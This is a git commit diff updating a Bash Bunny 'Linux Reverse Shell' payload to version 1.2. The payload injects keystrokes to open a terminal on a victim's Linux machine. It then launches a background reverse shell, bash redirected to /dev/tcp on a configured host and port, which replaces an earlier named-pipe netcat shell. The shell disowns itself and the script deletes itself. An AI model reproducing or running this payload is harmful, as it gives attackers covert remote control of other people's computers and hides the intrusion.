Updated "Linux Reverse Shell" to v1.2 (#262)
parent
00cee07ec0
commit
a48d9e2a61
|
@ -1,7 +1,7 @@
|
|||
# Linux Reverse Shell for Bash Bunny
|
||||
|
||||
Author: tuzzmaniandevil
|
||||
Version: Version 1.1
|
||||
Author: tuzzmaniandevil --creds: hak5darren
|
||||
Version: Version 1.2
|
||||
|
||||
## Description
|
||||
|
||||
|
|
|
@ -2,9 +2,6 @@
|
|||
A="$0"
|
||||
H=$1
|
||||
P=$2
|
||||
rm -rf ~/.a/
|
||||
mkdir -p ~/.a/
|
||||
mknod ~/.a/p p
|
||||
/bin/sh -c /bin/sh 0<~/.a/p | nc $H $P 1>~/.a/p &
|
||||
/bin/bash -c /bin/bash -i > /dev/tcp/$H/$P 0<&1 2>&1 &
|
||||
disown $!
|
||||
rm -f "$A"
|
||||
|
|
|
@ -2,7 +2,7 @@
|
|||
#
|
||||
# Title: Linux Reverse Shell
|
||||
# Author: tuzzmaniandevil
|
||||
# Version: 1.1
|
||||
# Version: 1.2
|
||||
#
|
||||
# Runs a script in the background that creates a reverse shell connection to the configured address and then removes itself.
|
||||
#
|
||||
|
@ -23,8 +23,8 @@ GET SWITCH_POSITION
|
|||
# Set Attack Mode
|
||||
ATTACKMODE HID STORAGE
|
||||
|
||||
# Wait for Storage to mount
|
||||
sleep 5
|
||||
# Get the switch position
|
||||
GET SWITCH_POSITION
|
||||
|
||||
# Open a terminal
|
||||
Q CTRL-ALT t
|
||||
|
|
Loading…
Reference in New Issue